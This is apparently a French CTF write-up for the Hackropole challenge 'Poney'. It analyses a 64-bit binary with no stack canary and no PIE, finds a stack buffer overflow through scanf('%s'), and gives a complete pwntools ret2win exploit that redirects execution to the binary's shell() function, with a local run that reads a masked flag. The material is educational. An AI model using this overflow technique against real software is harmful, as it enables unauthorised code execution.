Post

Poney | Hackropole

Poney | Hackropole

Poney

Ressources

Analysis

Informations

1
2
3
4
5
6
file poney
poney: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=06fdfc3c264bdc167a0855288210c06e16ce805e, not stripped

checksec --file=poney
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable      FILE
Full RELRO      No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   68 Symbols        No    0               1       poney
  • No canary

  • NX enabled

  • No PIE

Recherche de la vulnerabilitée.

Dans GDB, nous pouvons voir quel va être le but de notre exploit.

1
2
3
gef➤  info functions
0x0000000000400676  shell
0x0000000000400689  main

Nous gardons l’adresse de shell() pour plus tard

Voici ce qui est interessant dans le code de main.

1
2
3
4
5
lea    rax,[rbp-0x20] 
mov    rsi,rax
lea    rdi,[rip+0xea]        # 0x4007b5
mov    eax,0x0
call   0x400570 <__isoc99_scanf@plt>

Le buffer est définis à 32 octets [0x20].

En plaçant un breakpoint sur la fonction scanf, on voit que la chaîne de format passée est %s.

1
2
3
4
b *__isoc99_scanf
r
─── registers ────
$rdi   : 0x00000000004007b5  →  0x443b031b01007325 ("%s"?)

Cela confirme qu’il lira jusqu’à rencontrer un octet nul.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Give me the correct input, and I will give you a shell:
>>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD

0x00007fffffffd938│+0x0000: "CCCCCCCCDDDDDDDD"$rsp

x/x $rsp+8
0x7fffffffd940: 0x44444444

info frame
Stack level 0, frame at 0x7fffffffd940:
 rip = 0x4006db in main; saved rip = 0x4343434343434343
 Arglist at 0x4242424242424242, args:
 Locals at 0x4242424242424242, Previous frame's sp is 0x7fffffffd940
 Saved registers:
  rbp at 0x7fffffffd930, rip at 0x7fffffffd938

Cela confirme que nous pouvons contrôler RIP à partir de 40 octets écris.

Exploit

Voici le payload à envoyer

1
2
3
4
5
    offset  = 32 + 8
    shell   = p64(0x0000000000400676)
    payload = b""
    payload += b"A" * offset
    payload += shell

Plus qu’a envoyer le payload.

1
2
3
4
5
    print("[<]", target.recvuntil(b">>> "))
    
    print(f"[>] {payload}")
    target.sendline(payload)
    target.interactive()

Exploit complet :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python3

from pwn import *
import argparse

def get_args():
    parser = argparse.ArgumentParser(add_help=False)
    parser.add_argument("-?", "--help",     action="help", help="show this help message and exit")
    parser.add_argument("-l", "--local",    help="File path to the binary", type=str)
    parser.add_argument("-p", "--port",     help="Remote port", type=int)
    parser.add_argument("-h", "--host",     help="Remote host", type=str)

    args = parser.parse_args()

    return args

def main(args):
    if args.local:
        target = process(args.local)
    elif args.host and args.port:
        target = remote(args.host, args.port)

    offset  = 32 + 8
    shell   = p64(0x0000000000400676)
    payload = b""
    payload += b"A" * offset
    payload += shell

    print("[<]", target.recvuntil(b">>> "))
    
    print(f"[>] {payload}")
    target.sendline(payload)
    target.interactive()
    
    exit(0)

if __name__ == "__main__":
    args = get_args()
    main(args)

Obtention du flag

1
2
3
4
5
6
7
8
./exploit.py -h 127.0.0.1 -p 4000

[+] Opening connection to 127.0.0.1 on port 4000: Done
[<] b'Give me the correct input, and I will give you a shell:\n>>> '
[>] b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv\x06@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
$ cat flag.txt
FCSC{725d.............}
This post is licensed under CC BY 4.0 by the author.